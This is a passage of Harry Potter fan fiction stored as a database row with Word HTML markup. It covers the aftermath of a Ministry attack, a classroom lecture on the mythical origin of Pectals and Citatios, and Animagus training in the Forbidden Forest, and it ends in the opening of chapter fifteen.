Harry said. &#8220;You go back to bed, and I&#8217;ll have the language figured out by tomorrow.&#8221; He ignored her protests and shooed her out, before he propped into a chair with both books in his lap.</p>\n\n<p>That day Harry spent in his rooms, his door locked. Hermione knocked on the door once, but he refused to let her in, he just told her he was fine, and that he had to get through these books. And she had to do that Fidelius Charm, where he wasn&#8217;t needed, firstly, because he didn&#8217;t know the Charm (Ministry Top Secret, and of course Dumbledore knew it too), and since Hermione had decided to be Secret Keeper herself (after all, she wouldn&#8217;t betray her own parents), he didn&#8217;t have anything to do with it. All day, he only had a few breaks to get something to eat. He completely ignored Sirius when he came to visit, just absentmindedly told him to leave. Late Sunday evening, he knew that the Vikings wasn&#8217;t what he&#8217;d teach his students about this week.</p>\n\n<p>~*~</p>\n\n<p>Monday morning the news had spread. The Daily Prophet&#8217;s headline was: <i>CITATIO HARRY POTTER ALIAS THE GOLDEN MASK FOUGHT DEATH EATER ATTACK! </i>First, there was information on what a Citatio was (almost completely wrong, too) after which followed a description of the attack on the Ministry, minus the horrific details. Harry apparently was the sole hero, who had done the whole job, and almost defeated Voldemort, who, probably helped by serious Dark magic, had appeared out of nowhere. A small note on the bottom, reported that all the children who had been with their parents at the election, mysteriously had vanished, only to re-appear in Gringotts.</p>\n\n<p>Harry couldn&#8217;t really understand Rita Skeeter; first, it was the thing in fourth year; then it was quite a lot about him before and after his trial&#8230;err&#8230; imprisonment; and when he&#8217;d escaped, he was quite sure she&#8217;d written that his <i>&#8216;escape could do nothing but prove his guilt&#8217;.</i> Now she praised him like there was no tomorrow. </p>\n\n<p>Marice Newman however, had gotten in a nice, truthful article, on page two. She had also, helped by both her own contacts and Dumbledore, managed to get it printed it several smaller tabloids, as well as in a few other countries. </p>\n\n<p><i>THE ORDER OF THE </i><st1:city><st1:place><i>PHOENIX</i></st1:place></st1:city><i></i></p>\n\n<p><i>&#8216;When He-Who-Must-Not-Be-Named attacked the Ministry, the mysterious Order of the Phoenix was there, fighting alongside the Golden Mask, now known to be Harry Potter, who we all once thought of as a murderer and a convict. How wrong we were. Harry Potter now co-operates with The Order of the Phoenix, which is led by Albus Dumbledore. A few days ago we saw them in action, but yet, we also saw that they almost lost.</i></p>\n\n<p><i>Albus Dumbledore tells the Daily Prophet that they have decided to reveal all facts which are not a danger to the members&#8217; security (which means; only the names of full-time members will be revealed) because the Wizarding world needs to know. Why does the Wizarding world need to know? &#8220;Because now, more than ever, we need to unite. People have seen how powerful He-Who-Must-Not-Be-Named (The Abomination&#8217;s name was uttered here) is, and I do not blame them for being frightened,&#8221; the Headmaster of Hogwarts, Albus Dumbledore says. &#8220;However, it is now that we must stand up and fight. If we lose the initiative, which we will do if we don&#8217;t stand up against He-Who-Must-Not-Be-Named (again, The Abomination&#8217;s name was uttered), we have already lost the war. Therefore, it is important that people know who&#8217;s protecting them, fighting for them.&#8221;</i></p>\n\n<p><i>When I asked concerning the rumours about a Pectal and Citatio at Hogwarts, Professor Dumbledore merely smiled. &#8220;Ahh, yes, I do indeed have the pleasure of the company of two young, talented and powerful beings.&#8221; </i></p>\n\n<p><i>Thus, we can confirm that there really is a Pectal and Citatio at Hogwarts. The Citatio is believed to be Harry Potter, The-Boy-Who-Lived, who was wrongly imprisoned in Azkaban two and a half years ago.&#8217;</i>\n\n</p>\n\n<p>(Here followed the tale of what really had happened, as Arthur, being the new Minister, had insisted that it should be publicised. He hadn&#8217;t yet met Harry, but he had gotten the facts about the Golden Mask confirmed.) </p>\n\n<p><i>&#8216;The Pectal however, </i>the<i>\n\n</i>article<i>\n\n</i>continued<i>, we have no clear identity of. However, rumours say her name is Hermione Granger, a Muggle-born witch, and Head Girl at Hogwarts. She is currently in training, with the Citatio (Harry Potter), and Hogwarts Defence Against the Dark Arts Professor, Christian Atos, as her tutors.&#8217; </i>(<i>Yes,</i> Harry thought to himself, when he read the paper, <i>she has gotten the information spoon-fed</i>.)</p>\n\n<p>Not all the students at Hogwarts got the Daily Prophet or any other newspapers delivered by owl, but those who did spread the news. When Harry (Christian) entered the Great Hall, he was attacked by students, who wanted to know if Hermione <i>really</i> was the Pectal, and if he really <i>was</i> training her, together with <i>Harry</i>\n\n<i>Potter</i>! Christian sighed, as he was hungry, and wanted breakfast. The students just didn&#8217;t seem to understand that. Using his Telekinesis, he levitated the students aside, so he had a clear path. They would only believe it to be wandless magic. Then, he marched up to the Staff table, where he sat down with a slight scowl.</p>\n\n<p>&#8220;Can&#8217;t go anywhere without drawing attention, can you Potter?&#8221; Snape spat nastily, however quietly, so no one could hear.</p>\n\n<p>Harry forced a pleasant smile. &#8220;You weren&#8217;t quite so nasty when you didn&#8217;t know who I really was, <i>Severus</i>,&#8221; he said, and emphasised &#8216;Severus&#8217;, before he ignored the Potions Master completely, and concentrated on looking around for Hermione. Fortunately, Hermione had the insight to keep away from the other students today, and didn&#8217;t show up at breakfast.</p>\n\n<p>~*~</p>\n\n<p>She did show up to the lessons however, as he knew she would. She walked in five minutes before the rest of the class showed up. Christian gave her a quick, reassuring smile, and she smiled back, nervously. Christian&#8217;s heart leaped slightly. He was worried about her. She didn&#8217;t really know how she should handle this new &#8216;fame&#8217;. Oh well, he thought. If -when this is over, they&#8217;ll probably put the whole thing on me, and forget about her. It&#8217;s a whole lot better that I&#8217;m the one in the spotlight, than she is.</p>\n\n<p>The class arrived, and as soon as they spotted Hermione, they tried to get over to her, to question her. They found themselves frozen in mid-walk. A second later, they were all sitting nicely on their desks, faces turned towards Professor Atos.</p>\n\n<p>Christian raised an eyebrow. &#8220;No questions will be directed from any of you, to Ms Granger during my class, or anyone else&#8217;s. As my trainee, I hereby allow her to use what she possesses of knowledge and power to keep you at bay. You can however, ask me questions, as I had planned to let this lesson centre about Pectals and Citatios,&#8221; he finished his speech. The class looked eagerly, almost hungrily, at him, and all of them shot Hermione a glance now and then. He hoped they wouldn&#8217;t fear her for what she was. Hermione was looking at him curiously. &lt;Yes, Hermione, I have finished those books, and you will be able to read them soon. However, they hold information the whole world will have to be made aware of,&gt; he told her telepathically. </p>\n\n<p>He then noticed that he had a few students absent. &#8220;Where are Ms Zabini and Mr Weasley?&#8221;</p>\n\n<p>&#8220;Hospital wing,&#8221; one of the students answered promptly. &#8220;There was some kind of accident.&#8221;</p>\n\n<p>Christian frowned. He&#8217;d been so busy with the books that he had totally forgotten about Blaise. He sent his magic out, and found her in the Hospital wing. He also found evidence of a Cruciatus curse and cursed silently to himself. Talking about helping his spies! What was weird was that Ron wasn&#8217;t hurt at all; he just sat by her bed, as far as he could determine. Oh well, he&#8217;d figure that out later.</p>\n\n<p>&#8220;So,&#8221; he asked brightly. &#8220;Any questions?&#8221; All hands shot up.</p>\n\n<p>~*~</p>\n\n<p>Several minutes, and several questions later, Christian decided it had been enough. Most of the questions had been directed towards Hermione, and &#8216;What can she do?&#8217; was repeated over and over again. There were also quite a lot of questions about Harry. </p>\n\n<p>Christian sighed. &#8220;That&#8217;s enough, put down your hands,&#8221; he ordered. The class looked disappointed. &#8220;Let&#8217;s take another approach. Yesterday, the Citatio presented to me two books,&#8221; he said, adding a small lie. They didn&#8217;t have to know everything. &#8220;One of these books is named <i>&#8216;The Era Of the Children Of Power&#8217;</i>. The &#8216;Children Of Power&#8217; are the Citatios and Pectals. This book told me very much about what happened to them, to the People Ms Granger and Mr Potter belong to.&#8221; At this, his class looked confused. &#8220;Yes, indeed, once upon a time, Citatios and Pectals were a people. This story goes far back in time.&#8221; His class, both Slytherins and Gryffindors, were listening eagerly. He continued. &#8220;At the time, Earth was still shaping, in fact it was about to be torn apart. If it had, Earth would now be an asteroid belt, like those we find between Mars and Jupiter, and outside Pluto.&#8221;</p>\n\n<p>&#8220;Earth, though she isn&#8217;t really a sentient being, intelligent as we are, found a way to save herself. She created the <i>Antesh</i>. Antesh was a Power which helped Earth, holding her together until she herself could manage it without help. But also Antesh didn&#8217;t have unlimited strength. So, using the six elements-&#8220;</p>\n\n<p>&#8220;Six? There&#8217;s only four!&#8221; one of the Gryffindors interrupted.</p>\n\n<p>Christian glared at him, and he fell silent. &#8220;As I said before I was so rudely interrupted, he, or she, because it didn&#8217;t have a specified sex, used the <i>six</i> elements, Fire, Earth, Water, Air, <i>Light</i> and <i>Dark</i>, to reproduce. It created a Child of itself, with the strength it had left. And then, it vanished, dissolved, died, or whatever you want to call it.&#8221; Christian paused, and looked at the class, who were listening intently.</p>\n\n<p>&#8220;However,&#8221; he continued softly, &#8220;Before this Child had outlived its time, Earth had managed to &#8216;pull herself together&#8217;, so to speak. She didn&#8217;t any longer have use for the Child, and tried to pull it back. But the Child, being made of the six elements and its parent Life-force, wasn&#8217;t like Earth, and neither like the Antesh. </p>\n\n<p>It had <i>intelligence</i>, and it had a will to live, rather than just an obedient nature to serve. So instead of just going back to be absorbed by Earth, and be the world&#8217;s magical core, it fled. In fact, if it hadn&#8217;t been so stubborn, Muggles wouldn&#8217;t have existed today. All of them would have been just as much wizard or witch as any of you,&#8221; he said, looking pointedly at his class. <i>Heh</i>. <i>They</i>\n\n<i>didn&#8217;t</i>\n\n<i>expect</i>\n\n<i>that</i>&#8230; </p>\n\n<p>&#8220;So,&#8221; he smiled at his shocked class, &#8220;the Child fled. However, it wasn&#8217;t immortal, and couldn&#8217;t live on forever, and what was worse, it weakened. Its strength diminished, and it was drawn towards Earth, which it had fled from. Do not misunderstand. It hadn&#8217;t fled from Earth&#8217;s surface, it just existed, refusing to listen to Earth&#8217;s call. But its days came to an end, and it understood that if it created a child like the Antesh had done, and its child did the same again, its power, and also its life, would diminish and in the end disappear completely. It did the only thing it could do. It created the Citatio and the Pectal, who could reproduce without using their Power, only their desires and nature. The Power was split evenly, and the Pectal was just as powerful as the Citatio. At the time though, they called themselves <i>Antesh&#8217;s</i>\n\n<i>Children</i>, after the first one. Today, &#8216;Antesh&#8217; means &#8216;Power&#8217; in the Children&#8217;s language.&#8221;</p>\n\n<p>&#8220;As they reproduced and grew many, there were, naturally, variations, as some were strong, and some were less strong. The Power and Life of the Child of the Antesh though, remained.&#8221;</p>\n\n<p>The class stared at him. &#8220;Is this true?&#8221; one of the Slytherin asked.</p>\n\n<p>Christian nodded. &#8220;It is. It was seen by Helga Hufflepuff, who had a strong Seer Talent, of the kind which Sees the past rather than the future. Much like Iset-Nofret, an Egyptian Queen had, though hers wasn&#8217;t nearly as strong. The whole thing was written down by her and Godric Gryffindor, who also was a Citatio.&#8221;</p>\n\n<p>&#8220;What happened then?&#8221; a Gryffindor asked. &#8220;Where did they go?&#8221;</p>\n\n<p>&#8220;That has been a mystery since it happened,&#8221; Christian answered, &#8220;but now it isn&#8217;t.&#8221; The class looked questioningly at him.</p>\n\n<p>&#8220;You see, in the beginning the Children remembered how they had come into being, and lived in peace. After a while however, they forgot, and they soon noticed the differences between them; the biggest one being that some were males and other females, and the females carried forth the children. A split grew, the females thinking that they just had to keep some males captured, and then they would be able to make the children they needed to keep on existing, and the males thought the same way.&#8221;</p>\n\n<p>&#8220;Thus, history&#8217;s first war started, the Children fighting each other, Antesh&#8217;s Children against Antesh&#8217;s Children. However, in war, two parties can&#8217;t go call themselves the same, can they?&#8221; Christian asked the rhetorical question with slight sarcasm and amusement. &#8220;So therefore, they made their own names: Citatio and Pectal. Today, in the Children&#8217;s language, &#8216;Citatio&#8217; means &#8216;Power of a Male&#8217;, while &#8216;Pectal&#8217; means &#8216;Power of a Female&#8217;.&#8221;</p>\n\n<p>Christian paused a bit, giving his class time to scribble some notes. &#8220;What they didn&#8217;t know was that they were all made of the same material, mainly the Elements. When the Children started to work against each other, the Elements did the same, both inside and outside the beings.&#8221; He looked around in the classroom. &#8220;Have any of you heard of Pangaea?&#8221;</p>\n\n<p>At this, a few hands shot up. &#8220;Yes, Ms Brend,&#8221; Christian said.</p>\n\n<p>&#8220;Isn&#8217;t that was Earth&#8217;s landmass was called before the continents drifted apart?&#8221; she asked.</p>\n\n<p>Christian nodded. &#8220;Yes indeed. It was the Element&#8217;s struggles which did that, and at the same time they fought their way out of the beings they partially were in, trying to get free. And they did. New Children who were born had less control over the Elements, even though they still had full control of the Antesh&#8217;s Life-force, which we today call magic. After a few hundred years this diminished too, because Earth had started to call for the Force again, and because the Children had grown weaker, they couldn&#8217;t resist it.&#8221;</p>\n\n<p>&#8220;Years passed, and their number diminished. However, since Earth had drawn much of the Life-force from the Children, Children-like beings started to pop up. I say pop up, but it was a part of Earth&#8217;s evolution, in which she used this Life-force. These beings are today called Humans.&#8221;</p>\n\n<p>The whole class&#8217;s eyes went to Hermione. &#8220;So you say she&#8217;s really an entirely different species?&#8221; one of them asked.</p>\n\n<p>Christian shook his head. &#8220;No. You see, the Children, the few who were left, realised that they were about to disappear. So, they noticed that these humans reproduced much faster than they did, and they decided to mate with them, and the result became Wizards and Muggles. Some of their children were magical, which means they had a bit of the Antesh&#8217;s Life-force, and some had not. It has something to do with recessive and dominant genes, just a bit more complicated, but it is the reason why there exist squibs and Muggle-borns.&#8221; <i>Hah</i>. <i>That&#8217;ll</i>\n\n<i>give</i>\n\n<i>them</i>\n\n<i>something</i>\n\n<i>to</i>\n\n<i>think</i>\n\n<i>about,</i> Christian thought.</p>\n\n<p>&#8220;Well, then,&#8221; he said pleasantly. &#8220;Any questions?&#8221; One didn&#8217;t need to be a Seer to predict what question would be asked.</p>\n\n<p>&#8220;Professor,&#8221; Neville said. &#8221;How is it then, that&#8230;err&#8230;&#8221; he glanced at Hermione. &#8220;Hermione is a Pectal&#8230; and&#8230; erm&#8230; you said they disappeared&#8230;&#8221; he trailed off.</p>\n\n<p>&#8220;Good, question, Mr Longbottom,&#8221; Christian said, nodding. That was something that had gotten lost centuries ago, when the Elemental Guardians had gone into hiding.</p>\n\n<p>&#8220;The next few weeks, you will do research on the Elements, and the Elemental Guardians, which has a lot to do with this. It is a pity that you&#8217;re in your last year, because next year Pectal and Citatio history will probably be on the book-list. What I have given you is just a very short summary, where the main points are included.&#8221; He looked around at his class, who looked rather excited. &#8220;The book the Citatio gave me included very much on Elements, since those are very much a part of the Children of Power. Your task is to find out as much as possible on the Elements and the Elemental Guardians, and then I will supply you with the rest,&#8221; Christian said. This perhaps, was more History than DADA, but they had to know it all, in order to understand it. And by the way, it would get them to think, especially the ones who followed Voldemort, when they heard and understood how they all came from the same being, which was Earth, and their magic also came from the same being, which was the Antesh and Earth. And the Antesh had been &#8216;created&#8217; by Earth.</p>\n\n<p>He wished he could take every little detail with all his classes, but he didn&#8217;t have the time for that. The exams were only a few months away, and even if he&#8217;d had a whole year, it wouldn&#8217;t have been enough. Godric Gryffindor was <i>good</i> at putting much information in on a relatively little amount of parchment.</p>\n\n<p>~*~</p>\n\n<p>The students chattered lively when they exited his classroom, some doubtful to the whole story, others enthusiastic and eager to start researching.</p>\n\n<p>Hermione had gone to Potions. Christian/Harry felt a strange desire to follow her and protect her from everything she might get from other students, but tried his best to ignore it. Hermione was capable of protecting herself. He had insisted though, that she use the Avada Kedavra shield. He didn&#8217;t doubt that Voldemort could order one of his spies to openly kill her. Fortunately, she would only attend classes till she&#8217;d taken her NEWTs, which she would do before the end of the week.</p>\n\n<p>He was quite positive that she&#8217;d demand a thorough explanation of everything tonight.</p>\n\n<p>~*~</p>\n\n<p>&#8221;Good evening, Ms Zabini, Mr Weasley,&#8221; Christian greeted. He eyed Ron for a moment. Something was different in the boy.</p>\n\n<p>Blaise smiled at her teacher. &#8220;Ron,&#8221; she said. &#8220;Please leave. I have to speak with Professor Atos for a moment.&#8221; Ron nodded silently and complied, but sent the professor a warning glance before he left.</p>\n\n<p>Christian took the chair beside Blaise&#8217;s bed. &#8220;I understand you were hit with a Cruciatus yesterday night,&#8221; he said. &#8220;I apologise for not paying you a visit sooner, but I&#8217;ve been busy. You will have to borrow your classmates&#8217; notes.&#8221; He raised his eyebrows at the girl. &#8220;Now tell me what happened.&#8221;</p>\n\n<p>&#8220;Well,&#8221; Blaise began. &#8220;I was summoned like I&#8217;ve always been. I found it odd though, as we&#8217;re never summoned so early, since it would cause suspicion if many wizards and witches were suddenly gone, closely after one of His attacks. It appears like they&#8217;d gotten suspicious, and when He is angry, like he probably is now, he likes to have someone to blame. Thus, they decided it would be nice to take a young girl, just to make an example.&#8221; She smiled grimly. &#8220;It&#8217;s not like they would have cared whether I was innocent of my &#8216;crimes&#8217; or not.&#8221;</p>\n\n<p>&#8220;I&#8217;m sorry for putting you in that situation, Blaise,&#8221; Christian said earnestly.</p>\n\n<p>Blaise waved dismissively with her hand. &#8220;Nothing to be sorry about, Professor. I could never have carried the play on until I was ready to receive the mark anyway. Sooner or later I would have escaped, or something. I don&#8217;t know.&#8221; She smiled brightly. &#8220;But it&#8217;s alright. Now I&#8217;m under the protection of the Order of the <st1:city><st1:place>Phoenix</st1:place></st1:city>. I won&#8217;t have to go to a Death Eater meeting again.&#8221;</p>\n\n<p>Christian chuckled. &#8220;That&#8217;s nice. I could organise it so you could take your NEWTs together with Ms Granger, since I don&#8217;t doubt that some of the students who follow Voldemort won&#8217;t like you as soon as the news comes out.&#8221;</p>\n\n<p>Blaise frowned. &#8220;Why is Granger taking her NEWTs now?&#8221;</p>\n\n<p>&#8220;You&#8217;ll find out soon enough, just to read the paper,&#8221; Christian stated dryly. &#8220;Now, tell me, why did I find Mr Weasley in here? Did he get hurt too?&#8221; he asked, smirking.</p>\n\n<p>Blaise blushed. She had never told the professor about Ron&#8217;s blackmail, but she knew that he knew something anyway, even though he hadn&#8217;t said much about it. She had told Ron about her co-operation with the Order of the <st1:city><st1:place>Phoenix</st1:place></st1:city>, and she was sure he was scheming things already. That he&#8217;d ended up in Gryffindor would always be a mystery to her. It was time though, to show her true self. She couldn&#8217;t call herself a proper Slytherin if she couldn&#8217;t twist a male around her little finger.</p>\n\n<p>~*~</p>\n\n<p>Ron had had a nice day. Okay, his plans were ruined. So what? He&#8217;d finally found someone worth his attention. It had taken him a bit of time, but he&#8217;d been thinking about his career! That could be an excuse. It explained why he&#8217;d had such problems with Parvati too, as he&#8217;d been in love with another woman all the time. Blaise was much prettier than Parvati, and she was already halfway into the Order of the <st1:city><st1:place>Phoenix</st1:place></st1:city>. Could work to his advantage that, too. He did feel remorse for his actions towards her, but after all, he&#8217;d been working for a noble cause; ridding the world of Voldemort. Okay, he had perhaps been a bit ambitious there, now that he&#8217;d heard about Voldemort&#8217;s power and figured it was okay to leave that to the Citatio and Pectal, or, in other words, Harry and Hermione. He grinned to himself. He was a friend of the two most powerful magicians in the world, and had a beautiful girlfriend. Now he only had to find a way to promote <i>himself.</i> Couldn&#8217;t be too hard.</p>\n\n<p>Could it?</p>\n\n<p>~*~</p>\n\n<p>&lt;You&#8217;re alright?&gt; Harry asked, watching Hermione struggle alongside him in her kneazle form. After Sirius left on &#8216;Order business&#8217;, Harry had taken his place when it came to training Hermione&#8217;s Animagus abilities. Since Shapeshifting was very much easier than Animagus-shifting, it was mainly McGonagall who did the work. His job was helping Hermione get used to her forms. So far she&#8217;d managed her horse form, her dragonfly form, her Abraxan, and was currently working on her kneazle form. She did seem to have something with horses though. Both the Arabian horse and the Abraxan had gone easier than the dragonfly and the kneazle.</p>\n\n<p>Harry assumed they&#8217;d start on the Graphorn next. Or the dragon. Those would be the most difficult to manage, but very useful if she had to be dangerous.</p>\n\n<p>First however, she had to get control over the kneazle body she was in, and override the cat&#8217;s mind.</p>\n\n<p>&lt;I&#8217;m fine, just fine,&gt; Hermione panted mentally. Harry was a white tiger. After all, they were in the <st1:place><st1:placename>Forbidden</st1:placename>\n\n<st1:placetype>Forest</st1:placetype></st1:place>, and Hermione, who was new to the kneazle form, wouldn&#8217;t have big chances of defending herself.</p>\n\n<p>&lt;I can&#8217;t believe you find it so easy,&gt; Hermione grumbled. &lt;You said you&#8217;d never been a tiger before?&gt;</p>\n\n<p>Harry chuckled to himself. &lt;Yes, Hermione, I&#8217;ve never been a tiger before. However, Shapeshifters and Animagi are quite different, &#8216;cause when you&#8217;re an Ani-&gt;</p>\n\n<p>&lt;Yeah, yeah, right, I know,&gt; Hermione said impatiently. &lt;When you&#8217;re an Animagus, the transformation is more complete, and you get the cat&#8217;s mind and feelings and instincts, which you have to learn to control. This, you don&#8217;t have as a Shapeshifter, which is why it is easier to spot a Shapeshifter than an Animagus, because the Shapeshifter will often behave more human than is normal for an animal, when in animal form.&gt;</p>\n\n<p>Harry laughed. &lt;As if you&#8217;d swallowed the text-book, Hermione, as always. If we&#8217;d been in class, I&#8217;d have given Gryffindor five points.&gt;</p>\n\n<p>&lt;Mmm,&gt; Hermione said. &lt;But since we aren&#8217;t in class, you can tell me about those books instead, and what you told us in class today.&gt;</p>\n\n<p>Harry shook his head, a movement which seemed very weird on a tiger. &lt;No. You have to concentrate. So stop talking.&gt;</p>\n\n<p>&lt;Please?&gt;</p>\n\n<p>Harry sighed. &lt;I said no.&gt;</p>\n\n<p>&lt;Harry,&gt; Hermione said, whining. &lt;Why not?&gt;</p>\n\n<p>&lt;No, Hermione.&gt;</p>\n\n<p>&lt;Please?&gt;</p>\n\n<p>&lt;No.&gt;</p>\n\n<p>&lt;Yes.&gt;</p>\n\n<p>&lt;No.&gt;</p>\n\n<p>Somehow, Hermione managed to send him the telepathic equivalent for a pout and puppy eyes. &lt;Why not? I have to learn how to concentrate on more than one thing when in Animagus form, don&#8217;t I?&gt;</p>\n\n<p><i>I wish she wouldn&#8217;t do that!</i> thought Harry. He who had planned to have a very nice little while in his rooms while he told her about that&#8230;in front of the fire, in one of the big chairs. He had spelled one of them, so it was big enough for two people to sit comfortably, but also small enough so the said two people had to sit close.</p>\n\n<p>Oh well.</p>\n\n<p>&lt;You&#8217;ll have to read the book yourself to get the more detailed story of what I had in class today, &#8216;cause I&#8217;m not going through that. I can take the Element thing. You won&#8217;t have to deliver the project anyway, because you&#8217;re going to take the NEWTs soon anyway.&gt;</p>\n\n<p>Somehow, Hermione managed to nod mentally. A very enthusiastic nod.</p>\n\n<p>&lt;Okay. When the Antesh&#8217;s Children disappeared, their control over the elements disappeared also. It seeped into both the humans and Earth herself, and Earth lost control of them, which is, among other things, the reason to why we have the <st1:place>Himalayas</st1:place> and <st1:place>Rocky Mountains</st1:place>. Since she couldn&#8217;t just let the elements behave like they wanted, she captured them. And in what would it be easiest to capture them?&gt;</p>\n\n<p>Hermione thought about that. Earth could draw them back to herself, but Hermione&#8217;s own experiences with her elements told her it wasn&#8217;t that easy. If you lost control over a task when using elemental power, it was very difficult to stop it again. It was possible to guide the uncontrolled power into something that didn&#8217;t mind being harmed&#8230; and if you pulled the element Earth into earth, it wouldn&#8217;t do much harm at all&#8230;</p>\n\n<p>The kneazle had started to chase a small mouse it had spotted. Hermione smacked herself mentally. She did know about the Elemental Guardians! &lt;Humans of course! Their ancestors came both from Earth herself and from the Antesh&#8217;s Children, who had once been in control of them!&gt; she exclaimed.</p>\n\n<p>Harry laughed. &lt;Another five points. Yes, she captured the elements in the humans. However, she didn&#8217;t like the thought of letting the whole human race have the power, and thus she chose four of each generation for the task, who she deemed worthy. And so it has been through thousands and thousands of years.&gt; He bent down and deftly picked up the kneazle with his mouth. &lt;I didn&#8217;t know mice were on your diet, Hermione,&gt; he teased.</p>\n\n<p>Hermione ignored him, but managed to get her form to stop struggling in his mouth. &lt;But I&#8217;ve only heard about four Elemental Guardians. You mentioned six elements. Light and Dark are elements too, you said.&gt;</p>\n\n<p>Harry dropped her to the ground again, and heard an indignant &lt;Hey!&gt; from Hermione. &lt;Yes, they very much are. And they do have Guardians.&gt; He turned his yellow cat eyes at Hermione. &lt;We are the Guardians of Light, Hermione. The two of us.&gt;</p>\n\n<p>~*~</p>\n\n<p><i>&#8220;Told you so,&#8221; said a triumphant and amused voice.</i></p>\n\n<p><i>Another one chuckled. &#8220;I know, I know. But that&#8217;s only because it&#8217;s tradition for those who have found theirs to tease the last one with that.&#8221;</i></p>\n\n<p><i>&#8220;Indeed, indeed. Pity I didn&#8217;t bet on it.&#8221;</i></p>\n\n<p><i>&#8220;Oh be silent you. The matter is that we have a balance. The two of them are perfectly matched.&#8221;</i></p>\n\n<p><i>The first person nodded. &#8220;An exciting event, William. You understand what this means.&#8221;</i></p>\n\n<p><i>&#8220;Of course, Asham, of course. But now we have to tell the others.&#8221;</i></p>\n\n<p><i>&#8220;Spoilsport.&#8221;</i></p>\n\n<p>~*~</p>\n\n<p>====================</p>\n\n<p>Sorry for the long wait, everyone. Five weeks&#8230; *cringes* I must apologise, but as it is, the plot gets more and more complicated, and that makes this story more difficult to write. Also, I have these lazy periods, when I write nothing. I&#8217;m always scheming though&#8230; most of my better ideas come when I&#8217;m on the bus to or fro school.</p>\n\n<p>Other than that, I&#8217;ve been busy, as has my beta-reader, so that&#8217;s a part of it too. Luckily, I&#8217;ve started on chapter fifteen, though I&#8217;m already determined to revise that completely&#8230; *sigh*</p>\n\n<p>Over to another thing: When chapter fifteen comes out, this will (probably) be an alternate universe of the years after Harry&#8217;s fourth year at Hogwarts, due to the arrival of JKR&#8217;s <i>The Order of the Phoenix</i>. I hope you&#8217;ll continue to read anyway.</p>\n\n<p>Thanks to everyone who reviewed. You&#8217;re inspiring and motivating me. Go you.</p>\n\n<p>Oh well. I&#8217;ve got nothing more to say. Just&#8230; review. You all know how to.</p>\n\n '),
	(234, 15, '\n\n\n\n<meta http-equiv="Content-Type" content="text/html; charset=windows-1252">\n\n<meta name="ProgId" content="Word.Document">\n\n<meta name="Generator" content="Microsoft Word 10">\n\n<meta name="Originator" content="Microsoft Word 10">\n\n<link rel="File-List" href="chapter%2015_files/filelist.xml">\n\n<title>Chapter Fifteen</title>\n\n<xml> Stein Vabo Normal Stein Vabo 2 56 2003-07-07T10:49:00Z 2003-07-07T10:49:00Z 1 6252 35640 Kr.sand Bedriftshelsetjeneste 297 83 41809 10.2625 </xml><xml> Clean Clean 21 4,5 pt 2 2 MicrosoftInternetExplorer4 </xml><object classid="clsid:38481807-CA0E-42D2-BF39-B33AF135CC4D" id="ieooui"></object>\n\n<style> st1\\:*{behavior:url(#ieooui) } </style>\n\n<style>\n\n</style>\n\n<style> /* Style Definitions */ table.MsoNormalTable {mso-style-name:"Table Normal"; mso-tstyle-rowband-size:0; mso-tstyle-colband-size:0; mso-style-noshow:yes; mso-style-parent:""; mso-padding-alt:0cm 5.4pt 0cm 5.4pt; mso-para-margin:0cm; mso-para-margin-bottom:.0001pt; mso-pagination:widow-orphan; font-size:10.0pt; font-family:"Times New Roman";} </style>\n\n\n\n<p><b>Chapter Fifteen: The Galen</b>\n\n</p>\n\n<p>&#8220;Well, actually, all those who fight against dark forces, like terrorism, war, torture, poverty, injustice, etc, etc, are Guardians of Light, while all those who oppose them are Guardians of Dark,&#8221; Harry explained. They were back in his chambers, the book about the Children of Power open in front of them. &#8220;There is always a balance between Dark and Light. Neither of them can be extinguished, but sometimes one of them can be the ruling one. When Dark is ruling, we see little peace and justice in the world, whereas when Light is ruling, we see international problems being solved, wars stopped, and the like.&#8221; He turned a page in the book, and translated the first sentences for Hermione. &#8220;<i>&#8216;The Elements of Dark and Light are always there, to varying degrees. Sometimes one is almost non-existent, sometimes the other. Also, the influence they have is not the same everywhere; when there is war one place, there is peace elsewhere; when one is tortured, another is laughing in delight and happiness; when one is hungry for the lack of food, another one is spoiled with everything his eye desires; some places Dark is at its height, other places Light shines through.&#8217;</i>&#8221;</p>\n\n<p>Hermione nodded. &#8220;Yes, that sounds logical. But you still haven&#8217;t explained why <i>we</i> are here, and why a Pectal and a Citatio pop up at times. You said you had an explanation for that, too.&#8221;</p>\n\n<p>&#8220;That&#8217;s because when we were still a <i>race</i>, rather than an occasional happening, we were the Guardians of all elements,&#8221; Harry said. &#8220;As I told you, the Guardianship of the four other Elements was passed on to four different humans, from generation to generation. The Guardianship of Dark and Light however, was passed on to all intelligent beings. Those who choose to follow the Dark are the Guardians of the Dark, and those who choose to follow the Light, are Guardians of the Light. As mentioned, Dark can&#8217;t destroy Light, and vice versa, but sometimes, the balance between them gets to be uneven. Then, someone &#8211;or something- who can re-establish the balance, pops up. When Light is too weak, someone very powerful comes to fight for it.&#8221; </p>\n\n<p>He turned to another passage in the book. &#8220;<i>&#8216;Light can never destroy Dark, and Dark can never destroy Light, but sometimes Dark overpowers Light, keeping it captured, and almost completely out of sight. Then Light will send powerful warriors to fight for it, so it shall not be forgotten.&#8217;</i>&#8221; </p>\n\n<p>&#8220;As you see, we are &#8216;warriors of Light&#8217;, while Voldemort is the one who has overpowered it.&#8221; Harry continued. &#8220;It also goes the other way. Listen to this: <i>&#8216;If Dark is suppressed, hidden, it will try to gain more power. It will send its messengers out, to gather Dark&#8217;s followers and fight the Light&#8217;</i>&#8221; He stopped reading.</p>\n\n<p>&#8220;Who are &#8216;its messengers&#8217;?&#8221; Hermione asked.</p>\n\n<p>Harry frowned a second. &#8220;I don&#8217;t really know. I&#8217;ve never heard of &#8216;Dark Messengers&#8217; before. Perhaps they only visit evil persons,&#8221; he said, the last part rather jokingly.</p>\n\n<p>Hermione pondered on it a second. &#8220;&#8216;Messengers&#8217; is probably only a word for peoples&#8217; desire to seek out evil,&#8221; she concluded.</p>\n\n<p>Harry raised an eyebrow. &#8220;Sounds logical,&#8221; he said, nodding. Then he continued in his teaching manner. &#8220;Dumbledore, though not a Citatio, is a powerful wizard, and he was the warrior under Grindelwald. The other Pectals and Citatios we hear about were also warriors of Light. Godric Gryffindor and Rowena Ravenclaw didn&#8217;t actually fight many battles, but they fought ignorance and prejudices. At that time you had witch-hunts and burnings, and many wizards and witches hated Muggles. Many Muggle-borns never even knew they had magical talents, and those Muggles who knew about magic feared it. Also, ancient knowledge was lost, because many wise wizards and witches took their knowledge to the grave, and never passed it on. That happened when the wizard or witch didn&#8217;t have any children, and didn&#8217;t want to pass it on to people who weren&#8217;t family,&#8221; Harry 